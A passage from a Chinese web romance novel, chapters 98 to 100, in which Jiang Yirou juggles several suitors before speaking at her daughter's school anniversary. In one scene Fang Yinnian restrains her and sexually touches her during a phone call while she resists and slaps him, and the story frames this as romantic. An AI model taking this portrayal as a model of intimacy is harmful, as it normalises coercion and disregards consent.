方隐年的这番安排很妥帖,姜以柔听着他低沉醇厚的嗓音,慢慢安静下来。 她迟疑地看着方隐年,抿了抿唇,有些不情愿地说道:“那你别忘了叫我。” 方隐年唇角微勾,竟难得露出一个堪称温柔的笑意,轻声道:“放心。” 姜以柔也确实累了,得到方隐年的保证后,就昏昏沉沉地睡了过去。 方隐年坐在床边,静静地看着她的睡颜,神情是前所未有的温柔。 等姜以柔再醒过来时,已经是三个半小时之后了。 “以柔,醒醒……”方隐年坐在她床边,轻声唤醒了她。 姜以柔着实累得不轻,这一觉睡得特别沉,当她迷迷糊糊地睁开眼时,差点没反应过来自己身在何处。 直到看见方隐年那张英俊沉静的脸,几个小时前的记忆才缓缓涌上心头。 姜以柔依旧对他没什么好脸色,一把推开他之后,试探着下了床。 经过三个多小时的休息,她的精神恢复了不少,虽然小腹处仍有些酸痛,腿也有些软,但正常走路是没问题的。只要她注意一点,不会被人看出端倪。 姜以柔慢吞吞地挪到卫生间,期间方隐年想要扶她,被她冷着脸拍开了手。 她站在镜子前,仔仔细细地打量着自己的脸色,她面颊上泛着不自然的红晕,一双眼睛又红又肿,仍水汪汪地带着泪意,看着就是刚哭过的模样。 姜以柔愤怒地转过头,又想找茬了。方隐年正站在卫生间门口,静静地看着她。 方隐年已经换了身西装,因为原来的那身被她弄得透湿,完全没法穿了。 姜以柔看着这个西装革履、衣冠楚楚的男人,气不打一处来,瞪着他的眸子里都在喷火。 她这个样子还怎么上台?! 方隐年似乎知道她心中所想,温声开口道:“我给你找了化妆师,就在外面等着。” 方隐年抿了抿唇,不动声色地瞥了眼卫生间地板上,那件被他揉坏了的黑色礼服,补充道:“新衣服也买好了,你去挑一挑?” 方隐年的安排如此妥帖,姜以柔的脸色多少缓和了些。她冷哼一声,扭头朝客厅走去。 客厅里不知何时搬来了两个大衣架,上面挂着的全是各大品牌的当季新款高定,姜以柔漫不经心地扫了一眼,却感觉兴致缺缺。 这些礼服都是奢牌高定,当然不难看。但受限于场合,都比较中规中矩,没什么惊喜感。 就在这时,她发现了沙发上的一个纸袋,不由得拿起问道:“这是什么?” 方隐年沉默片刻,说道:“姜渔带过来的。” 一提到便宜女儿,姜以柔手一僵,几个小时前紧张刺激的回忆再次袭来。 她面色骤红,攥着袋子的手不由得紧了紧,她兀自深吸两口气,缓了好一会儿,才勉强保持住镇定。 姜以柔若无其事地打开袋子,从里面拿出来一张卡片。 当她看清卡片上的内容时,顿时惊讶地挑了挑眉梢。 这是姜渔的同学送她的一件礼服,竟然是她亲手设计,甚至亲手做出来的。 姜以柔从纸袋里拿出那件礼服,本来没有抱多大的期望,在看清的一瞬间,却惊讶地眨了眨眼睛。 姜以柔勾起一个满意的笑容,果断收下这件衣服,说道:“我就穿这件上台吧。” 旁边,方隐年默默地看着这一切,英挺的眉缓缓蹙起。 所以……他挑的那么多衣服,她都不喜欢? 正当姜以柔拿着衣服打算去换上的时候,她突然听到了一阵熟悉的手机铃声。 “我的手机呢?”姜以柔循声张望着,试图找到自己的手机。 方隐年径直往某个方向走去,很快就找到了她的手机。不过,他漫不经心的目光在落到屏幕上的来电显示时,骤然凝固了。 姜以柔已经急得催他了,“快给我呀!” 方隐年眸光莫测,良久才拿着手机转身朝她走去。 他站定在她面前,却似乎没有要把手机交给她的意思。 姜以柔才不管那么多,径直从他手里抢回了手机,定睛一看,才知道方隐年的反应为什么如此反常。 因为这通电话是谢凛打过来的。 姜以柔睫羽微颤,攥着手机转过身,背对着方隐年。她低头盯着手机,手指悬在屏幕上方,却迟迟没有落下。 就在此时,方隐年轻轻地从背后环住了她。 那双有力的铁臂扣住她的小腹,轻轻一按,就将她箍在了怀中。方隐年微微俯身,凑到她颈侧,灼热的呼吸喷洒在耳际,微哑的声音响起: “你要接吗?” 姜以柔眸光微闪,一脸镇定地说道:“接啊,为什么不接。” 就在她想要按下接听键的时候,方隐年手臂用力,将她牢牢按住。 姜以柔的身体骤然僵住,她感受到了无声的威胁。 方隐年沉冷的声音幽幽地在她耳边响起,一字一顿道:“你确定要接?” 姜以柔:“……” 第98章 手机一直在响, 屏幕上谢凛的名字也一直在闪烁,但姜以柔一时间浑身僵硬,怎么都没能下定决心接起电话。 她鲜少有如此“怂”的时刻。 要知道她平日里游走于不同的男人之间, 从来都是坦坦荡荡,懒得遮掩一下,更不会为谁妥协什么, 可她现在竟然迟疑了。 很难说不是因为方隐年刚才给她留下的阴影太重了。 【1】 再加上他无声的威胁…… 姜以柔呆滞了好一会儿, 等她反应过来的时候,瞬间羞恼地气红了脸。 她艰难地回过身, 用力推搡着方隐年的胸膛。然而,不管她怎么向后仰,方隐年始终牢牢箍着她的腰。 既像是对她的警告, 也像是在解馋。 不过, 即便动作如此狎昵,方隐年那张脸始终的清冷平静的,矜持得根本不像是能做出这种事的人。 姜以柔折腾了半天,最后只把自己累得气喘吁吁, 却没能挣脱开来。 她恨恨地咬了咬牙, 盯着方隐年的目光极其不善。 她非常讨厌这种被控制的感觉。 她这个人,向来吃软不吃硬。 方隐年该不会真觉得,跟她睡了一次之后, 就能左右她的想法了吧? 姜以柔冷笑一声,睨着方隐年淡声道:“方隐年, 我现在要接电话了。” 方隐年眸光微沉, 正想说些什么,却被姜以柔接下来的话打断了。 姜以柔的唇角扬起一个玩味的弧度,漫不经心地说道:“如果你敢出声, 让谢凛发现我们的事……” “那我也会立刻让你侄子知道这件事。”姜以柔微微眯起眼睛,一字一句道,“方隐年,我有的是办法让你们叔侄俩彻底反目成仇,你好好想想吧。” 说完这些话后,姜以柔不顾他铁青的面色,当着他的面按下了接听键。 “喂,谢凛。”姜以柔一边紧紧盯着方隐年,一边用惯常的温柔声线跟谢凛打招呼。 而方隐年…… 方隐年凤眸沉沉地盯着她看了许久,终究是没有做什么。 在姜以柔跟谢凛打电话时,他就静静地在一旁等着,一言不发。 像一个在“原配”来查岗时只能隐忍躲藏的小三。 姜以柔眼底掠过一丝胜利的笑意。 她就知道,方隐年绝对不可能不在乎唯一的侄子,她已经精准拿捏住了这个男人的软肋。 呵呵,想跟她斗? 姜以柔只觉得心口的郁气都消散了,她面带笑意,也懒得管方隐年始终抱着她了,专心跟谢凛通电话。 谢凛嗓音沙哑,满是急切的担忧,“以柔,你没事吧?” 谢凛出差的地方有时差,他也是才知道姜以柔在网上遭遇的一切,立刻便打电话来了。 姜以柔的面色柔和了不少,温声安慰道:“我没事呀,这算什么,我都不在乎的,你别担心……” 谢凛沉默片刻,紧绷的嗓音显出几分愧疚,“抱歉,没能陪在你身边……” 姜以柔下意识地抬眼瞥了下方隐年,心里闪过一个很不合时宜的念头—— 虽然谢凛没有陪在她身边,但是有方隐年陪着…… 姜以柔定了定心神,笑着安慰道:“你在忙嘛,没关系的。” 谢凛轻声道:“我立刻赶回去,别怕……” 姜以柔抿唇一笑,“我不怕啊,但你早点回来也好,我想你了……” 姜以柔旁若无人地跟谢凛说笑,丝毫没在意方隐年越发阴沉的面色。 下一秒,姜以柔说话的声音突然顿住了,她脸色变得有些古怪,飞快地漫上一层红晕。 手机里,谢凛疑惑地问道:“以柔,怎么了?” 姜以柔深吸一口气,强自稳住声线,答道:“没事……” 然而,说完这两个字,她再次顿住了。她紧紧咬着下唇,眸中渐渐溢上一层水光。 姜以柔狠狠地瞪着方隐年,抬手用力掐他的腰,然而却什么都无法阻止,身体迅速软了下来。 方隐年这个混蛋…… 姜以柔死死咬着唇不让自己泄出难堪的声音,心里恨不得杀了方隐年。 【1】 她面色微红,眸光里盈着动情的水光,再这样下去…… 偏偏手机里还传来谢凛的声音,“以柔,怎么不说话了?” 姜以柔勉强恢复理智,强撑着镇定道:“我这就要上台演讲了,回头再说。” 说完,她罕见地没有等谢凛跟她告别,直接就挂了电话。 确认通话已挂断后,姜以柔扔了手机,扬手就是一巴掌朝方隐年打去。 “你这个神经病,赶紧放开我!”姜以柔嗓音发颤,恶狠狠地瞪着他,像一只炸毛的猫。 方隐年居高临下地睨着她,突然间冷嗤一声。 他非但没有停下,反而更用力—— 姜以柔一声急喘…… 在方隐年似乎还要继续时,她终于认输了,“别来了,一会儿我还怎么上台……” 方隐年眸光幽深地盯着她看了许久,终究不舍地松开了她,离开前,他的手指若有似无地蹭过她的腰侧,又激起了姜以柔的一阵战栗。 姜以柔涨红了脸,连忙踉跄着后退几步,离他远远的。 她眼神复杂地盯着方隐年。 这家伙不会是在沉默中变态了吧?怎么越来越有种陌生的感觉…… 方隐年还算有分寸,知道姜以柔很重视接下来的校庆,便没再纠缠她,让她能够安心整理自己。 接下来,在方隐年请来的专业造型师的帮助下,姜以柔换好了新的礼服,也重新做完了妆发,此时的姜以柔再看向镜子里的自己,一直提着的心终于放了下来。 镜中的她明眸皓齿,美丽动人,最重要的是,她眼神清亮,姿态端庄矜持,再不见不久前浑身汗湿、神情恍惚的狼狈之态。 姜以柔悄悄地松了口气,幸亏不是顶着那副凌乱的模样上台,否则还不丢死人? 她斜眸睨了眼方隐年,看在他做事还算靠谱的份上,心里对他的怨气消散了不少。 方隐年正眸光沉沉地盯着她,狭长的凤眸里翻涌着暗色,仿佛是锁定了猎物的野兽,迫不及待想要享用他的“大餐”。 因为……现在的姜以柔,实在美得惊人,让他挪不开眼。 方隐年看着她,喉结缓缓滚动了下,不知道在想些什么。 触及他的眼神,姜以柔竟然条件反射般抖了一下。 当她意识到自己这有些过激的反应时,顿时羞恼地红了脸。她恨恨地瞪了方隐年一眼,但那潋滟如春水的眸光没有丝毫杀伤力。 姜以柔警惕地瞪着方隐年,警告道:“方隐年,你要是再敢胡来,我就……” 闻言,方隐年缓缓挑高了眉头,清冷的眉眼间竟掠过一抹笑意,他施施然问道:“你就怎么样?” 姜以柔睨他一眼,口无遮拦地说道:“我就干脆告诉谢凛,让他揍死你。” 然而,她话音刚落,方隐年的面色骤然沉了下来。 方隐年轻飘飘地瞥了眼化妆师,对方立马识趣地退了出去。 等到房间里再次只剩下他们两个人的时候,方隐年沉着脸迈步,一步一步朝她逼近。 姜以柔又是一惊,捂住胸口连连后退,瞪圆了眼睛的模样,像是受惊的小动物。 她连声音都有些发颤,咽了咽口水说道:“方隐年,你不许再乱来了,我刚换好衣服……” 此时此刻,姜以柔心里竟有些后悔。 早知道方隐年这么疯,还不如就让他一辈子当个不开荤的和尚呢! 她就该老老实实地只让他用嘴巴伺候她,而不是不满足地总是挑衅他! 这下好了……苦的是她自己。 姜以柔来不及逃跑,就被方隐年一把勾住了腰。 方隐年揽着她的腰背,将人牢牢锁在怀中,大掌轻轻摩挲着她的身体。 不知为何,那温柔的抚摸让姜以柔汗毛倒竖,竟察觉到一丝威胁的意味。 方隐年眼眸微垂,居高临下地睨着她,狭长的凤眸中带着熟悉的压迫感,冰冷而沉凝。 “你真要告诉谢凛?”方隐年语气很轻,一字一句地问道。 姜以柔眨了眨眼睛,直勾勾地盯着他,突然有点拿不准他的意图。 她想了想,试探地问道:“你不怕我告诉他?” 方隐年面无表情地凝视她许久,突然笑了笑。 这丝笑意极淡,出现在他的脸上,非但不显得温和,反而有种冰冷的威压。 他轻笑着反问道:“怕?” 轻飘飘的一个字,满是不屑的睥睨。 他缓缓俯身,无视姜以柔抗拒的眼神,在她唇上吻了一下。 这个吻并不算深入,只是贴着她的唇吮了一下,浅尝辄止。 他甚至很小心地没有弄花姜以柔新涂的口红,只是他自己的唇上也无可避免地沾了些颜色。 方隐年抬手,用拇指轻轻蹭去了自己薄唇上的艳色,那双死死盯着她的凤眸说不出的晦暗。 他轻声说道:“我很期待你能亲口告诉谢凛——我们的关系。” 闻言,姜以柔不由得一惊,然后有些无语地瞪了他一眼,嗔道:“你唯恐天下不乱啊?” 方隐年扯唇笑了笑,再次轻轻亲了她一下,这次吻落在她的眉心,说道:“你尽管跟他说,有任何事,我担着。” 不管那个谢凛在知道他们的事后有何反应,他统统接下,总归不会让姜以柔受一点儿委屈。 方隐年是真的很期待那一天。 期待……他能独占姜以柔的那天。 方隐年轻轻抚上她的侧脸,低声道:“如果你需要我保持沉默,那我会尊重你。但是……” “如果你哪天想要跟他摊牌……尽管交给我,别害怕。” 方隐年的意思很清楚了——他愿意暂时做一个见不得光的小三,但是,他会一直等着姜以柔彻底选择他的那一天。 姜以柔闻言微微一怔。 她撑住方隐年的胸膛,努力想挣开他的束缚。她皱眉凝视着方隐年,良久嗤笑一声道:“方隐年,你还记得之前不肯做小三的嘴脸吗?现在倒是巴不得挤走别人上位了?” 她微微眯起眼睛,曼声质问道:“你的底线呢?你的道德呢?” “方隐年,你还要不要脸啊?”姜以柔鄙夷地睨着他。 谁知,方隐年竟然从善如流地点头承认了,“嗯,我不要脸。” 姜以柔:“……” 方隐年深深地凝视她,呼吸慢慢急促起来。他揽在她腰上的大掌缓缓下落,暧昧地蹭上那片禁区。 “我只要你。”方隐年哑声道。 姜以柔被他摸得,那股熟悉的失控感再次袭来,让她不由得微微颤抖起来。 姜以柔急喘一声,有些无措地望着他,腿一软直接靠在了他的胸膛。 姜以柔感觉自己的身体好像出问题了,她的身体仿佛对方隐年的触碰有了种本能的反应,毫无抵抗力。 好在方隐年很快就克制地收了手。 他抬手扶住姜以柔,帮她稳住身形,让她缓了好一会儿,才低声道:“你该上台了。” 姜以柔惊魂未定,等反应过来差点又被方隐年得手后,气恼地瞪了他一眼。 她狠狠踩了方隐年一脚,绷着脸转身就走。 方隐年唇边扬起一丝不易察觉的笑意,慢条斯理地跟上了她。 姜以柔由工作人员带领着,沿着一条隐秘的路线来到了舞台侧面。 姜以柔静静地站在这里,她甚至可以听见外面隐隐传来的喧闹声。她看着近在咫尺的明亮舞台,深深地吸了一口气。 虽然这次校庆不太顺利,经历了各种各样的意外…… 但现在,她终于要上场了。 第99章 四个小时前。 圣维尔学院校方从未如此焦头烂额过。 这次五十周年校庆意义重大, 他们特意请来天王顾星延助阵,原本是为了彰显学校的实力,却没想到能惹出这么大的乱子。 那名偷拍照片的人已经被抓住了, 等待他的会是校方和顾星延那边的联合起诉,务必让他吃一阵子牢饭。 然后张校长又下令严格排查了一遍今天入校的校外人员,确保再没有心怀叵测之人。 这些隐患排除之后, 就剩下最令他们头疼的网络舆论了。 其实有方隐年和顾星延同时出手, 那些针对姜以柔的各种辱骂已经被压下去了大半,只是顾星延有些死忠粉太疯狂了, 换着号地蹦跶。 他们甚至迁怒了校方,直接以各种理由举报了圣维尔的这次校庆,害得他们不得不应付了一波来自上级的检查询问, 也导致校庆的开幕式延期了。 好在方隐年那边出手疏通了下关系, 也算是有惊无险,校庆仍然可以正常开展。 但不知为何,方隐年特意交代他们,校庆开幕需要再推迟一段时间, 另外, 还要把姜以柔出场的环节挪到最后。 张校长也不知道方隐年为什么如此安排,但他从善如流地接受了。 正好出了这档乱子后,校庆的一些环节也需要再调整一下。 会议室里, 张校长正在召开紧急会议,为了接下来的校庆临时修改各种流程。 有人迟疑地问道:“张校, 我们还要让姜小姐担任家长代表吗?” 闻言, 张校长微微眯起眼睛,望向那名出声的人,语气威严地问道:“怎么, 你有意见?” 那个出声的人瑟缩了一瞬,硬着头皮说道:“张校,主要是举报的人太多了,而且有些家长也在抗议,觉得这次的家长代表人选不能服众……” 这时,旁边的人也点头赞同道:“是啊,这次的乱子也主要是这位姜小姐造成的,多一事不如少一事……” 他话音未落,有人就忍不住出声反驳了,正是先前带着姜以柔过流程的小姑娘。 小姑娘性格很内敛,却鼓起勇气大声道:“姜小姐又没做错什么,凭什么换掉她?” 她气得脸颊微鼓,很是为姜以柔感到不平。 姜小姐明明是无妄之灾,他们不去责怪顾星延管理不好粉丝,反倒来责怪受害者?! 除了她之外,也有不少人站出来帮姜以柔说话,无一例外都是亲眼见过她的人。 一个年轻男人面色古怪地望向刚才出声的男人,问道:“陈哥,你没见过姜小姐吧?” 陈哥莫名其妙地看他一眼,说道:“确实没见过,但那又怎样?” 年轻男人欲言又止了半晌,也不知道该说些什么,最后只憋出一句话: “等你看到姜小姐,你就不会忤逆她了。” 陈哥无语地瞥了他一眼,只当他是在说笑。 什么看过她之后就不会忤逆,难不成那女人是妲己吗?呵,没见过世面的毛头小子就是没用。 很快,会议室里竟然因为这件事而吵了起来,一部分没见过姜以柔的人,强烈要求换掉这个“祸根”,另一部分见过姜以柔且已然被她的美貌折服的人,则坚决维护她。 众人争执了一会儿,最后是张校长厉声喝止了这场闹剧,“够了!” 张校长居高临下地扫视了一圈,刚才那些叫嚣得厉害的人,在触到他凌厉的目光后,皆不由得心虚地低下了头。 张校长语气淡淡,却不容置喙地说道:“家长代表的人选不会改。” 眼看着有些人面带不甘地还想说些什么,张校长唇角勾起一抹冷笑,淡声道:“有意见的话不用跟我说,跟方总说吧。” 此话一出,某些人脸色微变,尤其是那名陈哥。 他可是收了某位老总的好处,承诺会力荐他担任家长代表,但如果那个叫姜以柔的女人背后是方隐年的话…… 陈哥不由得攥了攥拳头,最后却还是不甘地垂下了肩膀。 又过了许久,在台下的观众等得越来越不耐烦,几乎要造反的时候,圣维尔学院的校庆终于正式开始了。 观众席上一片唏嘘抱怨。 “终于开始了,再拖下去我都要受不了了。” “我爸妈都等不及先走了……圣维尔你坏事做尽啊!” “要怪也是怪顾星延的粉丝吧,闲的没事干了去举报……” “那要这么说的话,罪魁祸首应该是姜渔她妈吧?这算什么,红颜祸水吗?” “哈哈哈哈哈卧槽你别逗我好不,一个中年妇女哪儿配得上红颜祸水这个词啊?” “但确实是她害得我们白等了这么久,呵呵,一会儿她出场的时候我要给她喝倒彩!” “加我一个!” …… 不远处,方镜麒清楚地听到了这些闲言碎语,他猛地站起身来,黑沉着脸就要冲上前,“妈的,这群傻逼……” 然而,姜渔却沉着脸拦住了他,低声说道:“别惹麻烦。” 校庆即将开始,姜以柔也该上台了,有什么恩怨和不满都先忍一忍,不要给她添麻烦。 方镜麒紧绷着身体站在原地,胸膛剧烈起伏着,阴沉的凤眸中全是隐忍的怒意。 最终,方镜麒脸色一阵变幻,还是硬逼着自己坐回了位置上。 也是难得能看见方大少压住自己的脾气。 不过,哪怕强忍着不能动手,方镜麒还是恶狠狠地瞪了他们一眼,那双漂亮的凤眸微微眯起,闪烁着凶狠锐利的光。 那群刚才还在说风凉话的学生顿觉脖颈一凉,讪讪地闭了嘴,还小心翼翼地往旁边挪了挪,尽量离那位煞神远了点。 姜渔无心关注这些,只有一搭没一搭地刷着手机。 她发给姜以柔的消息都石沉大海,之前去待客室找她,也不见人影,她有点担心。 不过……有个人倒是特意发消息给她,说姜以柔现在很好,让她不必担忧。 那个人就是方隐年。 一想到此,姜渔的神情不由变得有些古怪,她不动声色地瞥了眼身旁的方镜麒,眼底浮现出一丝同情。 不知道方大少发现真相的那天,该有多疯。 而且不止方镜麒,如果那个叫谢凛的男人也发现了……呃。 姜渔莫名为她妈捏了把汗。 在万众期待下,圣维尔学院的五十周年校庆正式开始了。 开幕式、某领导讲话、校长讲话、书记讲话、大合唱,中间穿插着一些从学生中精挑细选的表演…… 台下的一些学生家长都昏昏欲睡了,直播间里也一片骂声。 【这群领导能不能别讲话了,听着就烦。】 【我坚守在这破直播间三个多小时,是为了听你们说废话的吗?】 【其实中间那些学生的表演还挺好看的,不愧是贵族学校的学生,都挺优秀的。】 【这校庆怎么一会儿好看一会儿难看的。】 【我是来看顾星延的,他到底什么时候出场!】 【我是来看那个迷倒大明星的传奇娃妈的……快满足一下我的好奇心!】 …… 观众席上,乐婉儿烦躁地皱了皱眉头,不耐烦地说道:“我跟王太太约了做美容呢,我先回去了。” 旁边的乐柠一直心不在焉地盯着台上,此时连忙紧张地攥住妈妈的手臂,说道:“妈,你别走,你再等一下,姜阿姨应该很快就出场了。” 乐柠只觉得心力交瘁。 虽然她很早就知道了林松齐并不是她的亲生父亲,可她一直以来都将他当做生父去尊敬、依赖,所以在得知林松齐的真面目后,受到的打击也格外大。 她已经意识到了,林松齐大概率是个人渣,当初抛弃姜阿姨跟她妈妈在一起,无非是为了她家的钱,再联想到如今她家公司已经基本被林松齐握在手里,乐柠更觉得冷汗直冒。 偏偏她妈妈太天真也太相信林松齐了,所以,她只能让她亲眼看到真相。 乐婉儿心中很是不耐,却拗不过女儿,只能强忍着不悦坐回原处,心里却浮现出浓浓的不满。 她突然为丈夫感到不值。 怪不得人家说,不是亲生的就是隔着一层,丈夫对乐柠多疼爱啊,简直是拿她当眼珠子,结果乐柠却因为一对突然冒出来的母女,而对养育她的爸爸横加猜测,实在令人寒心。 也怪她身体不争气,没能给丈夫生一个亲生的孩子…… 乐婉儿幽幽地叹了口气,对女儿升起些埋怨之意。沉默在她们之间蔓延,本该是世界上最亲密的母女俩,此刻却因为一个男人而有了嫌隙。 就在这时,突然有人匆匆赶来,在他们身边落座。 乐婉儿定睛一看,顿时惊喜地瞪大了眼睛,“老公!” 乐柠身体一僵,却刻意地没有转头看向来人,仿佛害怕泄露了自己的心绪。 林松齐的额上覆着层薄汗,似乎是匆忙赶来的,他冲她们笑了笑,状似不经意地问道:“我没有错过什么吧?” 其实,他真正想问的,是有没有错过姜以柔的出场,只是他不敢表现得太明显而已。 乐婉儿不疑有他,笑着说道:“没有,这才刚开始呢。” “老公,你不是说工作忙,可能没法参加校庆了吗?”乐婉儿疑惑地问道。 林松齐眸光微闪,面上却笑得温柔,说道:“工作忙完了,我就赶来陪你们了。” 乐婉儿抱住他的手臂,甜蜜地靠在他的肩膀上,“老公你真好。” 林松齐轻轻抚了下她的长发,又转头看向一直沉默的女儿,奇怪道:“小柠怎么不说话?” “最近怎么都不爱搭理爸爸了?”林松齐调笑道,说着便伸手去揉她的头。 乐柠差点控制不住躲开,最后硬生生忍住了。她微微垂着脑袋,竭力掩饰自己的抗拒,生怕被林松齐发现端倪。 一旁,乐婉儿深深地看了眼女儿,忍不住轻轻叹了口气。 她当然知道女儿为什么突然跟林松齐生分起来,不就是因为知道了那对母女的存在吗? 原本她想把这件事告诉林松齐的,但乐柠发疯般跟她哭叫,要求她现在不许跟林松齐说,一切等到参加完校庆之后再说。 乐婉儿拗不过她,只能答应。 当然,也是因为最近林松齐太忙,几乎不着家,她没什么跟他独处的时间。 否则,乐婉儿说不定就会在林松齐面前露馅。 林松齐丝毫不知道他费心遮掩的事已经被女儿知道,仍旧一如既往地当一个贴心温柔的好父亲。 接下来,林松齐认认真真地盯着舞台,目光炯炯,像是生怕错过什么。有时候乐婉儿跟他说话,他都反应不过来。 又过了很长一段时间,终于迎来了一个激动人心的环节。 在众人的欢呼声中,顾星延压轴出场了。 俊美的男人踩着欢呼声一步一步踏上舞台,聚光灯打在他身上,那俊美立体的五官近乎耀目,夺去了所有人的视线。 现场的掌声和欢呼几乎可以冲破房顶,让人差点以为这是顾星延的个人演唱会。 原本好不容易稳定下来的直播间又差点崩盘,大量观众涌入,弹幕刷新的速度几乎让人看不清。 这就是现象级天王的个人魅力。 舞台上,顾星延唇角微勾,露出一抹惯常的营业式微笑,只是那笑意并不达眼底,桃花眼中带着一丝难以察觉的冷淡。 在经历过方才的意外后,顾星延的心情很难愉悦起来。尤其是姜以柔受到的攻击,更让他觉得愤怒。 当然,他不会把个人情绪带到工作中,他的演出很完美,歌喉动人,引人沉醉。 舞台的侧面,姜以柔静静地站在那里,台上就是正在唱歌的顾星延。 她静静地看着舞台上俊美出众的男人,听着那温柔磁性的嗓音,面上不自觉带了些笑意。 这时,耳侧传来一道幽幽的询问。 “好看吗?” 姜以柔转头一看,见方隐年正直勾勾地盯着她,眼神莫名。 此时他们身处公共场合,周围人来人往,姜以柔自信他不会做什么过分的事情,说话便恢复了原先的放肆。 她瞥了方隐年一眼,轻哼一声道:“好看,爱看。你想怎么样?” 方隐年沉默地盯了她一会儿,抿着唇没有说话,半晌,竟只是默默地移开了视线。 他这个反应,反倒让姜以柔心里没底了,总感觉他会秋后算账…… 舞台上,顾星延一曲唱罢,台下顿时响起几乎能把房顶掀翻的掌声。 顾星延只礼貌地挥手微笑,看上去并没有太多动容,就在他想要下台时,一转身看到了不远处姜以柔的身影。 顾星延的眼神骤然柔和下来,那双灿若星辰的桃花眼中盈满了动人的笑意。 然后,他做了一个出人意料的举动。 他举起话筒,竟然代替了主持人的工作,开始“报幕”,笑着说道:“接下来,有请姜以柔女士。” 说着,他快步走到舞台一侧,微微倾身,并绅士地伸出一只手掌,想要牵着姜以柔上台。 姜以柔有些惊讶,反应过来后也回了他一个微笑,她刚想把手搭在他的掌心,却猛地被人拉住了。 方隐年攥着她的手,目光沉沉地盯着她,似乎在警告她不要靠近顾星延。 姜以柔眯了眯眼睛,心里顿时烧起一股火来。 方隐年不会真以为他们发生了关系,就能管着她了吧? 谢凛都没这个资格,更何况他一个见不得光的小三? 于是,姜以柔冷哼一声,用力想要甩开他的手。 然而,方隐年的手像是铁钳一样,箍住她的手腕难以撼动。他并没有出言说什么,但动作里尽显强势。 姜以柔气得咬了咬牙,她干脆低下头,狠狠地在他手上咬了一口。 方隐年的虎口上原本就有个深深的齿痕,是在衣柜里时被她咬出来的。现在,姜以柔毫不留情,一口就让那只手掌再度见了血。 方隐年眉头一皱,下意识地松了手。 姜以柔则趁机甩开他的钳制,抬手握住了顾星延伸过来的手掌。 舞台上,顾星延在看到方隐年阻拦她时,眸光不可遏制地沉了沉,但是当姜以柔抬眼望向他时,立刻又笑得温和。 他握住姜以柔的手轻巧一拽,一下就将她拽上了舞台。 方隐年下意识地抬手,似乎想要挽留她,最终还是顾忌着人多眼杂,面色沉凝地收回了手。 顾星延成功牵到姜以柔的手后,唇角微微勾起,轻飘飘地给了方隐年一个眼神,近乎挑衅。 然后,顾星延便牵着姜以柔的手,姿态绅士地牵着她往演讲台走去。 姜以柔迈出两步后,身形微顿,突然回身看向方隐年。 姜以柔居高临下地睨着他,唇角缓缓勾起一个得逞般胜利的微笑。 方隐年定定地看着她,突然抬起手,轻轻点了下自己的唇,似乎在提醒她什么。 姜以柔微微一愣,后知后觉地感觉到唇上的些许湿润。她伸出舌尖轻轻舔了一下,果不其然尝到了一些血腥味。 姜以柔挑眉睨了他一眼,施施然转过头,身姿曼妙地上了台。 方隐年站在原地,他死死盯着姜以柔窈窕诱人的背影,脑海里却全是她刚才轻轻舔唇的那一幕。 活色生香,简直是只勾魂的妖精。 方隐年眸色幽深,喉结剧烈地滚动了下。 舞台之下,从顾星延说出姜以柔名字的那一刻起,观众席上陷入了片刻的安寂,大家都震惊地看着顾星延。 他们猜到了下一个上场的会是那个万众瞩目的绯闻对象,但他们万万没想到,顾星延竟然丝毫不避讳,反而大大方方地要去扶她。 他这是演都不演了啊。 直播间里蹲守的粉丝们一片心碎。 【完了,只是那张照片的话我还可以骗骗自己,现在看顾哥的反应,我心凉了呜呜……】 【我能说吗?顾星延这眼神,比他演戏的时候深情多了。】 【没错,顾星延虽然演技很好,但他演爱上别人的时候,还是有点表演痕迹的,但现在……他绝对是发自内心的!】 …… 台下的观众席同样开始吵闹起来。 有的学生是顾星延的粉丝,他们正是最狂热冲动的年纪,这会儿都快气死了。 有人扯着嗓子大喊道:“顾星延,不要啊!不许牵她的手!” “顾哥,别碰她啊啊啊!” 那副哭天抢地的模样,似乎顾星延如果真牵了姜以柔的手,是对他们偶像的一种玷污。 可惜,不管顾星延的粉丝如何哭天抢地,顾星延就这样在所有人的注目下,温柔地牵着一个女人的手,笑着走上了台。 然后,刚才还喧闹的礼堂突然间安静下来。 所有人都一脸呆滞,愣愣地看着台上出现的女人,只觉得一阵头晕目眩。 偌大的礼堂中,一时间竟陷入了近乎诡异的安静,空气都仿佛凝滞了。 直到一道声音打破了这份安静,来自刚才还哭天抢地的小粉丝。 “顾星延!你他妈赶紧撒开手,你不配碰她啊啊啊!!!” 顾星延:“……” 你们刚才好像不是这个态度吧?:) 第100章 从姜以柔出现在舞台上的那一刻起, 喧闹的礼堂便陷入了一种近乎诡异的安静。 众人愣愣地看着舞台上的女人,几乎不敢相信自己的眼睛。 那个女人穿了一条深绿色丝绸质地的长裙,不但勾勒出她窈窕的好身材, 还衬得那身皮肤如凝脂般莹白。 这条裙子比起姜以柔之前穿的黑裙子,无疑要大胆鲜艳许多,但却不显得轻浮, 反而有种中世纪油画质地般的优雅高贵, 穿来出席这种正式场合,再合适不过了。 而这条绿裙子的主人, 更是长得一张美得出奇的脸孔,简直美得像是一场美妙的幻梦,让人不由得感慨, 原来真的有人, 一颦一笑间就能让人神魂颠倒。 在场的人心思各异,唯一相同的一点就是——他们全都直勾勾地盯着台上美丽的女人,半点都舍不得移开眼。 直到这时他们才恍恍惚惚地意识到,原来极致的美貌真的是无所不能的利器, 堪可杀人的。 至少现在, 姜以柔始一亮相,甚至连一句话都还没来得及说,就已经杀死了人们对她先入为主的偏见, 也杀死了那些闲言碎语。 此时此刻,偌大的礼堂中, 明明有着这么多的人, 竟然能安静到如此境地,本身就是一种难以想象的奇迹了。 一种稀世罕见的美貌所带来的奇迹。 直到姜以柔拿起话筒,微笑着说出第一句话, 才唤回了众人的神智。 “大家好,我是家长代表,姜以柔。” 台下众人纵然早有预料,但当她亲口承认自己的身份时,还是响起一片不敢置信的惊呼和倒吸冷气的声音—— 卧槽,她真的是姜以柔? 你跟我说她有一个高中生女儿?! ……简直荒谬! 所有目瞪口呆的人群中,其中以顾星延的粉丝们心情最为复杂。 原以为他们的男神是得了失心疯,才会爱上一个孩子都那么大了女人。他们之前还哭喊着哥哥受委屈了,但现在看来…… 这小子是一点儿都没委屈自己啊! 吃的也太好了! 好得他们都有点嫉妒了是怎么回事…… 舞台上,顾星延将他们的反应尽收眼底,却丝毫不觉得意外。 他微笑地看着姜以柔,桃花眼中盈着骄傲的笑意。 他知道她有多么美好,也相信她一定能靠自己来逆转风评。 姜以柔甚至不用特意做什么,只需要站在众人面前,一切问题便迎刃而解了。 顾星延握着她的手不由得紧了紧,望向她的眸中满是骄傲与深情。 